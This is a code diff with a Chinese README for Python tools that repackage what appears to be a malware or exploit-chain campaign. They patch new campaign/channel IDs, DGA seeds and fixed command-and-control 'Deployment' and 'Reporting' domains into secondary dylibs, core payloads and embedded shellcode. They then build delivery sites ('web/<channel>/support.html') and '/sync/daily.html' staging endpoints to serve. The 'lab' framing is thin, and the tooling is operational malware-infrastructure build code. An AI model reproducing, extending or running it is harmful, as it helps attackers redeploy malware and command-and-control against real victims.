- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
|
- `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
|
||||||
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
|
- `server/public/sync/` — 每次重建(同域名则内容一致)
|
||||||
- `server/public/out/domains.json` — 最终生效的域名列表
|
- `server/public/out/channel.json` — 本次 channel
|
||||||
|
- `server/public/out/domains.json` — 固定域名列表
|
||||||
|
- `server/public/out/seeds.json` — 由域名推导的内部 seed
|
||||||
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
|
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
|
||||||
|
|
||||||
约束:
|
约束:
|
||||||
|
|
||||||
|
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
|
||||||
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
|
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
|
||||||
- 可写 `https://host`(会自动去掉 scheme/path/port)
|
- 可写 `https://host`(会自动去掉 scheme/path/port)
|
||||||
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
|
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
|
||||||
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
|
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
|
||||||
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
|
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
|
||||||
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
|
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
|
||||||
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
|
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 仅重建(已有 server/public web/sync)
|
## 仅重建(已有 server/public)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
|
# 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
|
||||||
python3 tools/patch_all.py --apply --root server/public \
|
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
|
||||||
|
--channel-id 'dddddddddddddddddddddddddddddddd' \
|
||||||
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
--deployment-domains 'www.dep1.example,www.dep2.example' \
|
||||||
--reporting-domains 'www.rep1.example,www.rep2.example'
|
--reporting-domains 'www.rep1.example,www.rep2.example'
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
|
||||||
|
|
||||||
## 旧模式:只换 DGA seed(算域名)
|
|
||||||
|
|
||||||
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python3 tools/new_project.py
|
|
||||||
# 或
|
|
||||||
python3 tools/new_project.py \
|
|
||||||
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
|
|
||||||
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
|
|
||||||
```
|
|
||||||
|
|
||||||
### Seed 格式
|
### Seed 格式
|
||||||
|
|
||||||
- ASCII,长度 ≤ 32(二进制槽位定长 32)
|
- ASCII,长度 ≤ 32(二进制槽位定长 32)
|
||||||
- 推荐正好 32 个十六进制字符
|
- 推荐正好 32 个十六进制字符
|
||||||
- Deployment / Reporting 各一个
|
- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 分步脚本
|
## 分步脚本
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 二级包 type0x01
|
# 二级包 type0x01(含 channel)
|
||||||
python3 tools/patch_secondary_packs.py \
|
/usr/bin/python3 tools/patch_secondary_packs.py \
|
||||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||||
|
--channel-id <32hex> \
|
||||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||||
--root . --apply
|
--root server/public --apply
|
||||||
|
|
||||||
# core + daily 校验
|
# core + daily 校验
|
||||||
python3 tools/patch_core.py \
|
/usr/bin/python3 tools/patch_core.py \
|
||||||
--deployment-seed <32hex> --reporting-seed <32hex> \
|
--deployment-seed <32hex> --reporting-seed <32hex> \
|
||||||
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
|
||||||
--root . --apply
|
--root server/public --apply
|
||||||
|
|
||||||
# 只算 DGA 域名(固定域名模式不需要)
|
# 只算 DGA 域名(固定域名模式不需要)
|
||||||
python3 tools/compute_dga_domains.py \
|
/usr/bin/python3 tools/compute_dga_domains.py \
|
||||||
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
|
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
|
||||||
```
|
```
|
||||||
|
|
||||||
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
|
源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
|
||||||
|
|||||||
@@ -0,0 +1,74 @@
|
|||||||
|
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
|
||||||
|
# C-string keys immediately before the channel value in type-0x01 __cstring.
|
||||||
|
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
|
||||||
|
CHANNEL_LEN = 32
|
||||||
|
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
|
||||||
|
|
||||||
|
|
||||||
|
def gen_channel_id() -> str:
|
||||||
|
"""32 lowercase hex chars (same width as campaign slot)."""
|
||||||
|
return secrets.token_hex(16)
|
||||||
|
|
||||||
|
|
||||||
|
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
|
||||||
|
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
|
||||||
|
raise SystemExit(
|
||||||
|
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
|
||||||
|
f"(got {value!r})"
|
||||||
|
)
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
|
||||||
|
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
|
||||||
|
offsets: list[int] = []
|
||||||
|
start = 0
|
||||||
|
while True:
|
||||||
|
index = data.find(CHANNEL_ANCHOR, start)
|
||||||
|
if index < 0:
|
||||||
|
break
|
||||||
|
value_at = index + len(CHANNEL_ANCHOR)
|
||||||
|
value = data[value_at : value_at + CHANNEL_LEN]
|
||||||
|
if (
|
||||||
|
len(value) == CHANNEL_LEN
|
||||||
|
and _CHANNEL_RE.fullmatch(value)
|
||||||
|
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
|
||||||
|
):
|
||||||
|
if expect_old is None or value == expect_old:
|
||||||
|
offsets.append(value_at)
|
||||||
|
start = index + 1
|
||||||
|
return offsets
|
||||||
|
|
||||||
|
|
||||||
|
def patch_channel_in_dylib(
|
||||||
|
data: bytes,
|
||||||
|
new_channel: str,
|
||||||
|
*,
|
||||||
|
old_channel: str | None = None,
|
||||||
|
expect_hits: int = 1,
|
||||||
|
label: str = "dylib",
|
||||||
|
) -> bytes:
|
||||||
|
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
|
||||||
|
new_channel = validate_channel_id(new_channel, name="channel")
|
||||||
|
new_b = new_channel.encode("ascii")
|
||||||
|
old_b = old_channel.encode("ascii") if old_channel else None
|
||||||
|
if old_b is not None:
|
||||||
|
validate_channel_id(old_channel, name="old channel")
|
||||||
|
|
||||||
|
offsets = find_channel_offsets(data, expect_old=old_b)
|
||||||
|
if len(offsets) != expect_hits:
|
||||||
|
raise SystemExit(
|
||||||
|
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
|
||||||
|
"Secondary payload layout may have changed; re-adapt _channel_patch."
|
||||||
|
)
|
||||||
|
|
||||||
|
buf = bytearray(data)
|
||||||
|
for offset in offsets:
|
||||||
|
buf[offset : offset + CHANNEL_LEN] = new_b
|
||||||
|
return bytes(buf)
|
||||||
+38
-9
@@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt"
|
|||||||
if str(MODULE_HUNT) not in sys.path:
|
if str(MODULE_HUNT) not in sys.path:
|
||||||
sys.path.insert(0, str(MODULE_HUNT))
|
sys.path.insert(0, str(MODULE_HUNT))
|
||||||
|
|
||||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
|
||||||
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||||
|
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
|
||||||
|
|
||||||
# Campaign originals (current seeds embedded in type-0x01 + core)
|
# Campaign originals (current seeds embedded in type-0x01 + core)
|
||||||
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
|
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
|
||||||
@@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
|
|||||||
_TREE_ROOT = SOURCE_ROOT
|
_TREE_ROOT = SOURCE_ROOT
|
||||||
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
|
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
|
||||||
SYNC_DIR = _TREE_ROOT / "sync"
|
SYNC_DIR = _TREE_ROOT / "sync"
|
||||||
|
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
|
|
||||||
C2_FETCH = ONLINE_ROOT / "c2_fetch"
|
C2_FETCH = ONLINE_ROOT / "c2_fetch"
|
||||||
CORE_DYLIB = (
|
CORE_DYLIB = (
|
||||||
@@ -53,25 +56,51 @@ def tree_root() -> Path:
|
|||||||
return _TREE_ROOT
|
return _TREE_ROOT
|
||||||
|
|
||||||
|
|
||||||
def set_tree_root(root: Path) -> Path:
|
def campaign_id() -> str:
|
||||||
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync."""
|
return CAMPAIGN_HASH
|
||||||
|
|
||||||
|
|
||||||
|
def set_campaign_id(channel: str) -> str:
|
||||||
|
"""Point CAMPAIGN_DIR at web/<channel>/ under the current tree root."""
|
||||||
|
global CAMPAIGN_HASH, CAMPAIGN_DIR
|
||||||
|
from _channel_patch import validate_channel_id
|
||||||
|
|
||||||
|
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
|
||||||
|
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
|
||||||
|
return CAMPAIGN_HASH
|
||||||
|
|
||||||
|
|
||||||
|
def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
|
||||||
|
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/<channel>/ and root/sync."""
|
||||||
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
|
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
|
||||||
root = root.resolve()
|
root = root.resolve()
|
||||||
_TREE_ROOT = root
|
_TREE_ROOT = root
|
||||||
|
if channel is not None:
|
||||||
|
set_campaign_id(channel)
|
||||||
|
else:
|
||||||
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
|
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
|
||||||
SYNC_DIR = root / "sync"
|
SYNC_DIR = root / "sync"
|
||||||
return root
|
return root
|
||||||
|
|
||||||
|
|
||||||
def ensure_tree_layout(root: Path) -> None:
|
def ensure_tree_layout(
|
||||||
camp = root / "web" / CAMPAIGN_HASH
|
root: Path,
|
||||||
|
*,
|
||||||
|
channel: str | None = None,
|
||||||
|
require_campaign: bool = True,
|
||||||
|
) -> None:
|
||||||
|
cid = channel or CAMPAIGN_HASH
|
||||||
|
camp = root / "web" / cid
|
||||||
sync = root / "sync"
|
sync = root / "sync"
|
||||||
if not camp.is_dir() or not sync.is_dir():
|
missing = []
|
||||||
|
if require_campaign and not camp.is_dir():
|
||||||
|
missing.append(f"web/{cid}/")
|
||||||
|
if not sync.is_dir():
|
||||||
|
missing.append("sync/")
|
||||||
|
if missing:
|
||||||
raise SystemExit(
|
raise SystemExit(
|
||||||
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
|
f"missing working tree under {root} (need {', '.join(missing)}).\n"
|
||||||
f"Run first:\n"
|
f"Run first:\n"
|
||||||
f" python3 tools/new_project.py --skip-patch\n"
|
|
||||||
f"or directly:\n"
|
|
||||||
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
|
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
+123
-58
@@ -1,19 +1,33 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
|
"""Build server/public campaign trees: new channel + fixed domains.
|
||||||
|
|
||||||
|
Seeds are derived deterministically from the domain lists (not user-facing).
|
||||||
|
Same domains → same sync/ and same secondary domain patch; only channel differs.
|
||||||
|
|
||||||
|
Each run:
|
||||||
|
- creates web/<channel-id>/
|
||||||
|
- rebuilds sync/ from source + fixed-domain patch
|
||||||
|
- leaves other web/<channel>/ dirs intact
|
||||||
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
import shutil
|
import shutil
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
from _channel_patch import gen_channel_id, validate_channel_id
|
||||||
|
from _domain_patch import parse_domain_list
|
||||||
|
|
||||||
TOOLS = Path(__file__).resolve().parent
|
TOOLS = Path(__file__).resolve().parent
|
||||||
LAB_ROOT = TOOLS.parent
|
LAB_ROOT = TOOLS.parent
|
||||||
SOURCE_ROOT = LAB_ROOT / "source"
|
SOURCE_ROOT = LAB_ROOT / "source"
|
||||||
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||||
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||||
|
|
||||||
|
|
||||||
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||||
@@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None:
|
|||||||
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||||
|
|
||||||
|
|
||||||
|
def copy_campaign_template(dst_campaign: Path) -> None:
|
||||||
|
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
|
if not src.is_dir():
|
||||||
|
raise SystemExit(f"missing source campaign: {src}")
|
||||||
|
if dst_campaign.exists():
|
||||||
|
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
||||||
|
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
||||||
|
|
||||||
|
|
||||||
|
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
|
||||||
|
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
|
||||||
|
|
||||||
|
def one(label: str, domains: list[str]) -> str:
|
||||||
|
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
|
||||||
|
return hashlib.sha256(material).hexdigest()[:32]
|
||||||
|
|
||||||
|
dep_seed = one("deployment", dep)
|
||||||
|
rep_seed = one("reporting", rep)
|
||||||
|
if dep_seed == rep_seed:
|
||||||
|
rep_seed = one("reporting/alt", rep)
|
||||||
|
return dep_seed, rep_seed
|
||||||
|
|
||||||
|
|
||||||
|
def pick_channel(explicit: str | None, web_root: Path) -> str:
|
||||||
|
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
||||||
|
while (web_root / channel).exists():
|
||||||
|
if explicit:
|
||||||
|
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
|
||||||
|
channel = gen_channel_id()
|
||||||
|
return channel
|
||||||
|
|
||||||
|
|
||||||
|
def run(cmd: list[str]) -> None:
|
||||||
|
print("+", " ".join(cmd), flush=True)
|
||||||
|
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
parser = argparse.ArgumentParser(
|
parser = argparse.ArgumentParser(
|
||||||
description=(
|
description=(
|
||||||
"Copy source/web + source/sync to server/public, then run "
|
"From source/, create server/public/web/<channel-id>/ with fixed "
|
||||||
"patch_all.py --apply --root server/public."
|
"Deployment/Reporting domains. Seeds are derived from domains "
|
||||||
|
"(no --*-seed / no reuse-sync shortcut)."
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--deployment-seed",
|
"--channel-id",
|
||||||
help="optional; forwarded to patch_all (default: random)",
|
help="optional 32-hex channel id (default: random, unique under web/)",
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--reporting-seed",
|
|
||||||
help="optional; forwarded to patch_all (default: random)",
|
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--deployment-domains",
|
"--deployment-domains",
|
||||||
action="append",
|
action="append",
|
||||||
default=[],
|
default=[],
|
||||||
|
required=True,
|
||||||
help="fixed Deployment hosts (comma-separated or repeatable)",
|
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--reporting-domains",
|
"--reporting-domains",
|
||||||
action="append",
|
action="append",
|
||||||
default=[],
|
default=[],
|
||||||
|
required=True,
|
||||||
help="fixed Reporting hosts (comma-separated or repeatable)",
|
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||||
)
|
)
|
||||||
parser.add_argument(
|
|
||||||
"-n",
|
|
||||||
"--count",
|
|
||||||
type=int,
|
|
||||||
default=5,
|
|
||||||
help="DGA candidates to print when not using fixed domains (default 5)",
|
|
||||||
)
|
|
||||||
parser.add_argument(
|
|
||||||
"--skip-patch",
|
|
||||||
action="store_true",
|
|
||||||
help="only copy source trees to server/public; do not run patch_all",
|
|
||||||
)
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
|
||||||
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
|
||||||
|
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
|
||||||
|
|
||||||
src_web = SOURCE_ROOT / "web"
|
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
src_sync = SOURCE_ROOT / "sync"
|
src_sync = SOURCE_ROOT / "sync"
|
||||||
if not (src_web / CAMPAIGN_HASH).is_dir():
|
if not src_campaign.is_dir():
|
||||||
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}")
|
raise SystemExit(f"missing source campaign: {src_campaign}")
|
||||||
if not src_sync.is_dir():
|
if not src_sync.is_dir():
|
||||||
raise SystemExit(f"missing source sync: {src_sync}")
|
raise SystemExit(f"missing source sync: {src_sync}")
|
||||||
|
|
||||||
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
|
||||||
dst_web = APPLY_ROOT / "web"
|
web_root = APPLY_ROOT / "web"
|
||||||
dst_sync = APPLY_ROOT / "sync"
|
sync_dir = APPLY_ROOT / "sync"
|
||||||
|
out_root = APPLY_ROOT / "out"
|
||||||
|
out_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
web_root.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
print("=== reset server/public from source ===")
|
channel = pick_channel(args.channel_id, web_root)
|
||||||
print(f"from: {SOURCE_ROOT}")
|
campaign_dir = web_root / channel
|
||||||
print(f"to: {APPLY_ROOT}/{{web,sync}}")
|
|
||||||
replace_tree(src_web, dst_web)
|
|
||||||
replace_tree(src_sync, dst_sync)
|
|
||||||
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
|
|
||||||
|
|
||||||
if args.skip_patch:
|
print("=== new_project ===")
|
||||||
print("skip-patch: done (source copy only)")
|
print(f"channel: {channel}")
|
||||||
return 0
|
print(f"web dest: {campaign_dir}")
|
||||||
|
print(f" deployment: {', '.join(fixed_dep)}")
|
||||||
|
print(f" reporting: {', '.join(fixed_rep)}")
|
||||||
|
print(f" seeds: derived from domains (stable)")
|
||||||
|
print()
|
||||||
|
|
||||||
cmd = [
|
print("=== copy campaign template ===")
|
||||||
|
print(f"from: {src_campaign}")
|
||||||
|
print(f"to: {campaign_dir}")
|
||||||
|
copy_campaign_template(campaign_dir)
|
||||||
|
print(f"created web/{channel}/")
|
||||||
|
|
||||||
|
print("=== reset sync from source ===")
|
||||||
|
replace_tree(src_sync, sync_dir)
|
||||||
|
print(f"copied sync/ -> {sync_dir}")
|
||||||
|
|
||||||
|
domain_args: list[str] = []
|
||||||
|
for item in fixed_dep:
|
||||||
|
domain_args += ["--deployment-domains", item]
|
||||||
|
for item in fixed_rep:
|
||||||
|
domain_args += ["--reporting-domains", item]
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("=== patch_all --apply ===")
|
||||||
|
run(
|
||||||
|
[
|
||||||
sys.executable,
|
sys.executable,
|
||||||
str(TOOLS / "patch_all.py"),
|
str(TOOLS / "patch_all.py"),
|
||||||
"--apply",
|
"--apply",
|
||||||
"--root",
|
"--root",
|
||||||
str(APPLY_ROOT),
|
str(APPLY_ROOT),
|
||||||
"-n",
|
"--channel-id",
|
||||||
str(args.count),
|
channel,
|
||||||
|
"--deployment-seed",
|
||||||
|
dep_seed,
|
||||||
|
"--reporting-seed",
|
||||||
|
rep_seed,
|
||||||
|
*domain_args,
|
||||||
]
|
]
|
||||||
if args.deployment_seed:
|
)
|
||||||
cmd += ["--deployment-seed", args.deployment_seed]
|
|
||||||
if args.reporting_seed:
|
|
||||||
cmd += ["--reporting-seed", args.reporting_seed]
|
|
||||||
for item in args.deployment_domains:
|
|
||||||
cmd += ["--deployment-domains", item]
|
|
||||||
for item in args.reporting_domains:
|
|
||||||
cmd += ["--reporting-domains", item]
|
|
||||||
|
|
||||||
print()
|
(out_root / "channel.json").write_text(
|
||||||
print("=== patch_all --apply ===")
|
json.dumps(
|
||||||
print("+", " ".join(cmd), flush=True)
|
{
|
||||||
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
"channel_id": channel,
|
||||||
|
"deployment_domains": fixed_dep,
|
||||||
|
"reporting_domains": fixed_rep,
|
||||||
|
},
|
||||||
|
indent=2,
|
||||||
|
)
|
||||||
|
+ "\n"
|
||||||
|
)
|
||||||
|
|
||||||
out_root = APPLY_ROOT / "out"
|
|
||||||
print()
|
print()
|
||||||
print("=== ready ===")
|
print("=== ready ===")
|
||||||
print(f"web: {dst_web / CAMPAIGN_HASH}")
|
print(f"web: {campaign_dir}")
|
||||||
print(f"sync: {dst_sync}")
|
print(f"sync: {sync_dir}")
|
||||||
print(f"seeds: {out_root / 'seeds.json'}")
|
print(f"channel: {out_root / 'channel.json'}")
|
||||||
print(f"domains: {out_root / 'domains.json'}")
|
print(f"domains: {out_root / 'domains.json'}")
|
||||||
print()
|
print()
|
||||||
print("served by Laravel public:")
|
print("served by Laravel public:")
|
||||||
print(f" /web/{CAMPAIGN_HASH}/support.html")
|
print(f" /web/{channel}/support.html")
|
||||||
print(" /sync/daily.html")
|
print(" /sync/daily.html")
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,299 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Build server/public campaign trees from source/ with new channel + domains.
|
||||||
|
|
||||||
|
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
|
||||||
|
Deployment/Reporting domains change (or on first run). Re-running with the same
|
||||||
|
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from _channel_patch import gen_channel_id, validate_channel_id
|
||||||
|
from _domain_patch import parse_domain_list
|
||||||
|
|
||||||
|
TOOLS = Path(__file__).resolve().parent
|
||||||
|
LAB_ROOT = TOOLS.parent
|
||||||
|
SOURCE_ROOT = LAB_ROOT / "source"
|
||||||
|
APPLY_ROOT = LAB_ROOT / "server" / "public"
|
||||||
|
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
|
||||||
|
|
||||||
|
|
||||||
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||||
|
skip = {"_bak", "__pycache__", ".DS_Store"}
|
||||||
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||||
|
|
||||||
|
|
||||||
|
def replace_tree(src: Path, dst: Path) -> None:
|
||||||
|
if dst.exists():
|
||||||
|
shutil.rmtree(dst)
|
||||||
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
||||||
|
|
||||||
|
|
||||||
|
def copy_campaign_template(dst_campaign: Path) -> None:
|
||||||
|
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
|
||||||
|
if not src.is_dir():
|
||||||
|
raise SystemExit(f"missing source campaign: {src}")
|
||||||
|
if dst_campaign.exists():
|
||||||
|
raise SystemExit(f"campaign already exists: {dst_campaign}")
|
||||||
|
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
|
||||||
|
|
||||||
|
|
||||||
|
def load_json(path: Path) -> dict | None:
|
||||||
|
if not path.is_file():
|
||||||
|
return None
|
||||||
|
return json.loads(path.read_text())
|
||||||
|
|
||||||
|
|
||||||
|
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
|
||||||
|
if not prev or prev.get("mode") != "fixed_domains":
|
||||||
|
return False
|
||||||
|
return (
|
||||||
|
prev.get("deployment", {}).get("domains") == dep
|
||||||
|
and prev.get("reporting", {}).get("domains") == rep
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def pick_channel(explicit: str | None, web_root: Path) -> str:
|
||||||
|
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
|
||||||
|
while (web_root / channel).exists():
|
||||||
|
if explicit:
|
||||||
|
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
|
||||||
|
channel = gen_channel_id()
|
||||||
|
return channel
|
||||||
|
|
||||||
|
|
||||||
|
def run(cmd: list[str]) -> None:
|
||||||
|
print("+", " ".join(cmd), flush=True)
|
||||||
|
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description=(
|
||||||
|
"From source/, create server/public/web/<channel-id>/ with a new "
|
||||||
|
"channel id and patched secondary packs; rebuild sync/ when domains change."
|
||||||
|
)
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--channel-id",
|
||||||
|
help="optional 32-hex channel id (default: random, unique under web/)",
|
||||||
|
)
|
||||||
|
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
|
||||||
|
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
|
||||||
|
parser.add_argument(
|
||||||
|
"--deployment-domains",
|
||||||
|
action="append",
|
||||||
|
default=[],
|
||||||
|
help="fixed Deployment hosts (comma-separated or repeatable)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--reporting-domains",
|
||||||
|
action="append",
|
||||||
|
default=[],
|
||||||
|
help="fixed Reporting hosts (comma-separated or repeatable)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"-n",
|
||||||
|
"--count",
|
||||||
|
type=int,
|
||||||
|
default=5,
|
||||||
|
help="DGA candidates to print when not using fixed domains (default 5)",
|
||||||
|
)
|
